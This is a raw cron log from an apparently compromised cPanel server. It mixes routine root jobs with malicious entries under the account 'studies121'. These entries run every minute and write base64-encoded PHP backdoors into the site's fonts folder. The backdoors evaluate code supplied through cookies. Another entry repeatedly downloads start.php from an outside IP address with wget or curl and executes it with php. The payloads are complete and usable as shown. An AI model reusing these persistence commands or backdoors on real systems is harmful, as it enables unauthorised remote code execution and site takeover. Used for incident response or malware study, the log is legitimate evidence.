Sep  4 21:53:01 ip-184-168-122-23 CROND[26747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:54:01 ip-184-168-122-23 CROND[26905]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:54:01 ip-184-168-122-23 CROND[26906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:54:01 ip-184-168-122-23 CROND[26904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:54:01 ip-184-168-122-23 CROND[26907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:54:01 ip-184-168-122-23 CROND[26903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:55:01 ip-184-168-122-23 CROND[26996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:55:01 ip-184-168-122-23 CROND[26997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:55:01 ip-184-168-122-23 CROND[27000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:55:01 ip-184-168-122-23 CROND[26999]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:55:01 ip-184-168-122-23 CROND[27002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:55:01 ip-184-168-122-23 CROND[26998]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:56:01 ip-184-168-122-23 CROND[27102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:56:01 ip-184-168-122-23 CROND[27099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:56:01 ip-184-168-122-23 CROND[27101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:56:01 ip-184-168-122-23 CROND[27103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:56:01 ip-184-168-122-23 CROND[27100]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:57:02 ip-184-168-122-23 CROND[27272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:57:02 ip-184-168-122-23 CROND[27271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:57:02 ip-184-168-122-23 CROND[27273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:57:02 ip-184-168-122-23 CROND[27274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:58:01 ip-184-168-122-23 CROND[27370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:58:01 ip-184-168-122-23 CROND[27372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:58:01 ip-184-168-122-23 CROND[27374]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:58:01 ip-184-168-122-23 CROND[27373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:58:01 ip-184-168-122-23 CROND[27371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:59:01 ip-184-168-122-23 CROND[27458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:59:01 ip-184-168-122-23 CROND[27461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:59:01 ip-184-168-122-23 CROND[27459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:59:01 ip-184-168-122-23 CROND[27460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:00:01 ip-184-168-122-23 CROND[27611]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 22:00:01 ip-184-168-122-23 CROND[27609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:00:01 ip-184-168-122-23 CROND[27605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:00:01 ip-184-168-122-23 CROND[27607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:00:01 ip-184-168-122-23 CROND[27610]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 22:00:01 ip-184-168-122-23 CROND[27606]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:00:01 ip-184-168-122-23 CROND[27612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:00:01 ip-184-168-122-23 CROND[27613]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:00:01 ip-184-168-122-23 CROND[27615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:01:01 ip-184-168-122-23 CROND[27746]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[27746]: starting 0anacron
Sep  4 22:01:01 ip-184-168-122-23 CROND[27755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:01:01 ip-184-168-122-23 CROND[27753]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 22:01:01 ip-184-168-122-23 CROND[27754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:01:01 ip-184-168-122-23 CROND[27757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:01:01 ip-184-168-122-23 CROND[27758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[27764]: finished 0anacron
Sep  4 22:02:01 ip-184-168-122-23 CROND[27839]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:02:01 ip-184-168-122-23 CROND[27838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:02:01 ip-184-168-122-23 CROND[27842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:02:01 ip-184-168-122-23 CROND[27840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:02:01 ip-184-168-122-23 CROND[27841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:03:01 ip-184-168-122-23 CROND[27920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:03:01 ip-184-168-122-23 CROND[27922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:03:01 ip-184-168-122-23 CROND[27923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:03:01 ip-184-168-122-23 CROND[27921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:04:01 ip-184-168-122-23 CROND[28010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:04:01 ip-184-168-122-23 CROND[28014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:04:01 ip-184-168-122-23 CROND[28012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:04:01 ip-184-168-122-23 CROND[28013]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:04:01 ip-184-168-122-23 CROND[28015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:05:01 ip-184-168-122-23 CROND[28109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:05:01 ip-184-168-122-23 CROND[28111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:05:01 ip-184-168-122-23 CROND[28116]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:05:01 ip-184-168-122-23 CROND[28112]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 22:05:01 ip-184-168-122-23 CROND[28114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:05:01 ip-184-168-122-23 CROND[28113]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
